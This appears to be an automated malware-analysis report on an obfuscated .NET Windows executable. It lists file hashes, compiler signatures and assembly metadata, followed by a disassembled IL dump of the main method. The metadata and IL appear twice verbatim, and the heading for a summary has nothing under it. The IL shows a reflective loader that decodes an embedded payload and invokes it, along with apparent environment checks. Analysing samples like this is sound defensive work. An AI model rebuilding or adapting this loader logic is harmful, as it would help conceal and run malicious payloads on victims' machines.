Deep Malware Analysis of 781efcdc420fc0a5a8b7dca2fcff180a | md5: 781efcdc420fc0a5a8b7dca2fcff180a | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.85

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	781efcdc420fc0a5a8b7dca2fcff180a
Sha1	ef05dbb486bc4362b6d0d1e6666c331f9dd0059c
Sha256	190578d39bf3003dec8e964cfa5e3118ca9ce1bdf39e43e90c025edf4b462e70
Sha384	501479d39cf99cb75f4b3787afc872c189ba6119d80bcb7998ef3b91150c97d9d882e64133235833a9488b3cbc04cd70
Sha512	64d932a0acaeacda5c70077666a3095dc94144e54b508c0b99688dc7adf232c479f1051141a1aa72a248eb03d0229b8876d8e644a6faff05f8156c442aa77db1
SSDeep	12288:uWuiw8I71N5cL6pCfwnfRLH5ugthDBiwEfzuu:uWG8IT9hDBiBv
TLSH	A2E47B055BC32F49C3694679D2672929A3B18481D232C32BBFE544DA4F437E5FA83E27

PeID

.NET executable

HQR data file

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	bt5A0jQ_G7g
Full Name	bt5A0jQ_G7g
EntryPoint	System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Scope Name	bt5A0jQ_G7g
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	bt5A0jQ_G7g
Assembly Version	27.9.11.182
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	0
Main Method	System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Main IL Instruction Count	257
Main IL	nop <null> br.s IL_0003: ldc.i4.5 ldc.i4.5 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] br.s IL_002F: nop nop <null> call System.Threading.Thread System.Threading.Thread::get_CurrentThread() callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState() ldc.i4.1 <null> ceq <null> stloc.s V_17 ldloc.s V_17 brfalse.s IL_0048: ldc.i4.1 ldc.i4.4 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 ldc.i4.1 <null> br.s IL_0044: stloc.s V_23 call System.Threading.Thread System.Threading.Thread::get_CurrentThread() ldc.i4.0 <null> callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState) nop <null> nop <null> ldc.i4.1 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 nop <null> call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture() stloc.0 <null> ldloc.0 <null> call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo) nop <null> ldloc.0 <null> call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo) nop <null> call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() stloc.1 <null> ldc.i4.0 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 nop <null> ldc.i4 1539416310 ldc.i4.5 <null> ldnull <null> call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly) stloc.2 <null> br.s IL_008D: br.s IL_008F br.s IL_008F: ldc.i4.0 ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] br.s IL_00AF: nop nop <null> ldloc.1 <null> callvirt System.String System.Reflection.Assembly::get_Location() call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String) stloc.s V_18 ldloc.s V_18 callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion() stloc.2 <null> leave.s IL_00D8: br.s IL_00DA br.s IL_00C9: br.s IL_00CB br.s IL_00CB: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00D8: br.s IL_00DA br.s IL_00DA: ldc.i4.4 ldc.i4.4 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] br.s IL_0122: nop nop <null> ldc.i4.s 28 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stloc.3 <null> ldloc.3 <null> nop <null> ldc.i4 93027982 ldnull <null> ldc.i4.8 <null> call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32) nop <null> ldc.i4 1539416271 ldc.i4.2 <null> ldnull <null> call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly) call System.String System.IO.Path::Combine(System.String,System.String,System.String) stloc.s V_4 ldc.i4.s 10 stloc.s V_27 br.s IL_00DD: ldloc.s V_27 ldloc.s V_4 call System.Boolean System.IO.Directory::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_19 ldloc.s V_19 brfalse.s IL_016B: ldc.i4.6 ldc.i4.5 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldc.i4.6 <null> br.s IL_0164: stloc.s V_27 ldloc.s V_4 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> nop <null> ldc.i4.6 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 nop <null> ldc.i4.1 <null> stloc.s V_5 ldc.r8 25 call System.Double System.Math::Floor(System.Double) conv.ovf.i4 <null> stloc.s V_6 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newarr System.Object stloc.s V_7 ldc.i4.s 9 stloc.s V_27 br IL_00DD: ldloc.s V_27 call System.String 5zmMdZp1Js0a4S.ew2TsZr::Cnc1b9dNrA5() call System.Byte[] Gf3zneT78z.sZq8W4r_::tp4HP9qy5kdFjS(System.String) stloc.s V_8 call System.Boolean System.Environment::get_UserInteractive() stloc.s V_9 call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen() stloc.s V_20 ldloca.s V_20 call System.Int32 System.Drawing.Rectangle::get_Width() stloc.s V_10 ldc.i4.s 13 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_8 castclass System.Byte[] call System.Byte[] 4fsTNi5erJc.wq4D7xBjrc5K::yn4J6GxoYgr5gN(System.Byte[]) stloc.s V_11 ldloc.s V_7 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldloc.s V_11 stelem.ref <null> ldc.i4.s 12 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldc.i4.0 <null> call System.Int64 System.GC::GetTotalMemory(System.Boolean) ldc.i4 104857600 conv.i8 <null> cgt <null> stloc.s V_12 call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip() stloc.s V_20 ldloca.s V_20 call System.Boolean System.Drawing.Rectangle::get_IsEmpty() stloc.s V_13 ldc.i4.0 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldtoken System.Reflection.Assembly call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) stloc.s V_14 ldloc.s V_14 nop <null> ldc.i4 93028007 ldnull <null> ldc.i4.4 <null> call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32) ldc.i4.1 <null> newarr System.Type dup <null> ldc.i4.0 <null> ldtoken System.Byte[] call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) stelem.ref <null> callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[]) stloc.s V_15 ldc.i4.s 11 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_15 ldnull <null> ldc.i4.1 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldloc.s V_7 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldelem.ref <null> stelem.ref <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.s V_16 ldc.i4.1 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_7 ldloc.s V_6 ldc.i4.6 <null> sub.ovf <null> ldloc.s V_16 call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stelem.ref <null> ldloc.s V_7 ldloc.s V_6 call System.Void 5zmMdZp1Js0a4S.ew2TsZr::2cjYiPj9mn6F8(System.Object[],System.Int32) ldc.i4.3 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 nop <null> leave.s IL_02B9: br.s IL_02BB br.s IL_02A7: br.s IL_02A9 br.s IL_02A9: dup dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_21 nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02B9: br.s IL_02BB br.s IL_02BB: ldc.i4.4 ldc.i4.4 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] br.s IL_02DB: nop nop <null> ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 13 ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 13 ldelem.i4 <null> ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 9 ldelem.i4 <null> mul <null> ldc.i4.s 30 and <null> stelem.i4 <null> ret <null> ldtoken System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0() pop <null> ret <null>
Module Name	bt5A0jQ_G7g
Full Name	bt5A0jQ_G7g
EntryPoint	System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Scope Name	bt5A0jQ_G7g
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	bt5A0jQ_G7g
Assembly Version	27.9.11.182
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	0
Main Method	System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Main IL Instruction Count	257
Main IL	nop <null> br.s IL_0003: ldc.i4.5 ldc.i4.5 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] br.s IL_002F: nop nop <null> call System.Threading.Thread System.Threading.Thread::get_CurrentThread() callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState() ldc.i4.1 <null> ceq <null> stloc.s V_17 ldloc.s V_17 brfalse.s IL_0048: ldc.i4.1 ldc.i4.4 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 ldc.i4.1 <null> br.s IL_0044: stloc.s V_23 call System.Threading.Thread System.Threading.Thread::get_CurrentThread() ldc.i4.0 <null> callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState) nop <null> nop <null> ldc.i4.1 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 nop <null> call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture() stloc.0 <null> ldloc.0 <null> call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo) nop <null> ldloc.0 <null> call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo) nop <null> call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() stloc.1 <null> ldc.i4.0 <null> stloc.s V_23 br.s IL_0006: ldloc.s V_23 nop <null> ldc.i4 1539416310 ldc.i4.5 <null> ldnull <null> call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly) stloc.2 <null> br.s IL_008D: br.s IL_008F br.s IL_008F: ldc.i4.0 ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] br.s IL_00AF: nop nop <null> ldloc.1 <null> callvirt System.String System.Reflection.Assembly::get_Location() call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String) stloc.s V_18 ldloc.s V_18 callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion() stloc.2 <null> leave.s IL_00D8: br.s IL_00DA br.s IL_00C9: br.s IL_00CB br.s IL_00CB: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00D8: br.s IL_00DA br.s IL_00DA: ldc.i4.4 ldc.i4.4 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] br.s IL_0122: nop nop <null> ldc.i4.s 28 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stloc.3 <null> ldloc.3 <null> nop <null> ldc.i4 93027982 ldnull <null> ldc.i4.8 <null> call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32) nop <null> ldc.i4 1539416271 ldc.i4.2 <null> ldnull <null> call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly) call System.String System.IO.Path::Combine(System.String,System.String,System.String) stloc.s V_4 ldc.i4.s 10 stloc.s V_27 br.s IL_00DD: ldloc.s V_27 ldloc.s V_4 call System.Boolean System.IO.Directory::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_19 ldloc.s V_19 brfalse.s IL_016B: ldc.i4.6 ldc.i4.5 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldc.i4.6 <null> br.s IL_0164: stloc.s V_27 ldloc.s V_4 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> nop <null> ldc.i4.6 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 nop <null> ldc.i4.1 <null> stloc.s V_5 ldc.r8 25 call System.Double System.Math::Floor(System.Double) conv.ovf.i4 <null> stloc.s V_6 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldc.i4.1 <null> add.ovf <null> newarr System.Object stloc.s V_7 ldc.i4.s 9 stloc.s V_27 br IL_00DD: ldloc.s V_27 call System.String 5zmMdZp1Js0a4S.ew2TsZr::Cnc1b9dNrA5() call System.Byte[] Gf3zneT78z.sZq8W4r_::tp4HP9qy5kdFjS(System.String) stloc.s V_8 call System.Boolean System.Environment::get_UserInteractive() stloc.s V_9 call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen() stloc.s V_20 ldloca.s V_20 call System.Int32 System.Drawing.Rectangle::get_Width() stloc.s V_10 ldc.i4.s 13 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_8 castclass System.Byte[] call System.Byte[] 4fsTNi5erJc.wq4D7xBjrc5K::yn4J6GxoYgr5gN(System.Byte[]) stloc.s V_11 ldloc.s V_7 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldloc.s V_11 stelem.ref <null> ldc.i4.s 12 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldc.i4.0 <null> call System.Int64 System.GC::GetTotalMemory(System.Boolean) ldc.i4 104857600 conv.i8 <null> cgt <null> stloc.s V_12 call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip() stloc.s V_20 ldloca.s V_20 call System.Boolean System.Drawing.Rectangle::get_IsEmpty() stloc.s V_13 ldc.i4.0 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldtoken System.Reflection.Assembly call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) stloc.s V_14 ldloc.s V_14 nop <null> ldc.i4 93028007 ldnull <null> ldc.i4.4 <null> call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32) ldc.i4.1 <null> newarr System.Type dup <null> ldc.i4.0 <null> ldtoken System.Byte[] call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) stelem.ref <null> callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[]) stloc.s V_15 ldc.i4.s 11 stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_15 ldnull <null> ldc.i4.1 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldloc.s V_7 ldloc.s V_6 ldc.i4.1 <null> sub.ovf <null> ldelem.ref <null> stelem.ref <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.s V_16 ldc.i4.1 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 ldloc.s V_7 ldloc.s V_6 ldc.i4.6 <null> sub.ovf <null> ldloc.s V_16 call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stelem.ref <null> ldloc.s V_7 ldloc.s V_6 call System.Void 5zmMdZp1Js0a4S.ew2TsZr::2cjYiPj9mn6F8(System.Object[],System.Int32) ldc.i4.3 <null> stloc.s V_27 br IL_00DD: ldloc.s V_27 nop <null> leave.s IL_02B9: br.s IL_02BB br.s IL_02A7: br.s IL_02A9 br.s IL_02A9: dup dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_21 nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02B9: br.s IL_02BB br.s IL_02BB: ldc.i4.4 ldc.i4.4 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] br.s IL_02DB: nop nop <null> ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 13 ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 13 ldelem.i4 <null> ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q ldc.i4.s 9 ldelem.i4 <null> mul <null> ldc.i4.s 30 and <null> stelem.i4 <null> ret <null> ldtoken System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0() pop <null> ret <null>

781efcdc420fc0a5a8b7dca2fcff180a (672.26 KB)